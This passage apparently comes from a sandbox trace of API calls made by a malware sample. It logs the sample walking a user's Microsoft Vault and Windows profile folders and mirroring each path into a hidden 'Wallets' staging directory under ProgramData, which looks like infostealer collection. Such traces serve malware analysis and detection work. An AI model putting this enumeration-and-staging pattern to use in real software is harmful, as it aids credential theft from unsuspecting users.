returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.405] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Vault" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault" [0052.405] lstrcmpW (lpString1="Vault", lpString2=".") returned 1 [0052.405] lstrcmpW (lpString1="Vault", lpString2="..") returned 1 [0052.405] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" [0052.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*.*" [0052.405] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a3c0 [0052.405] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" [0052.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\" [0052.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\." [0052.405] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault" [0052.405] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\" [0052.405] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\." [0052.405] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.405] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.405] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" [0052.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\" [0052.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\.." [0052.405] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault" [0052.405] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\" [0052.406] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Vault\\.." [0052.406] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.406] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.406] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.406] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.406] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.406] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0052.406] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.406] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.406] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" [0052.406] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0052.406] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0052.406] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0052.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*.*" [0052.406] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a2c0 [0052.406] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0052.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\" [0052.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\." [0052.406] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" [0052.406] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\" [0052.406] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\." [0052.406] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.406] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.406] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0052.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\" [0052.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\.." [0052.407] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" [0052.407] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\" [0052.407] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\.." [0052.407] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.407] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.407] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.407] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0052.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\" [0052.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0052.407] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" [0052.407] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\" [0052.407] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\", lpString2="AccountPictures" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures" [0052.407] lstrcmpW (lpString1="AccountPictures", lpString2=".") returned 1 [0052.407] lstrcmpW (lpString1="AccountPictures", lpString2="..") returned 1 [0052.407] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0052.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*.*" [0052.407] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x589ec0 [0052.407] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0052.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\" [0052.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\." [0052.407] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures" [0052.407] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\" [0052.407] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\." [0052.407] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.407] FindNextFileW (in: hFindFile=0x589ec0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.407] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0052.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\" [0052.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\.." [0052.408] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures" [0052.408] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\" [0052.408] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\.." [0052.408] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.408] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.408] FindNextFileW (in: hFindFile=0x589ec0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.408] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0052.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\" [0052.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini" [0052.408] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures" [0052.408] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\" [0052.408] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\", lpString2="desktop.ini" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\AccountPictures\\desktop.ini" [0052.408] FindNextFileW (in: hFindFile=0x589ec0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.408] FindClose (in: hFindFile=0x589ec0 | out: hFindFile=0x589ec0) returned 1 [0052.408] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.408] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0052.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\" [0052.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.408] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" [0052.408] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\" [0052.408] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\", lpString2="Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.408] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0052.408] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0052.408] lstrcpyW (in: lpString1=0x19d7ac, 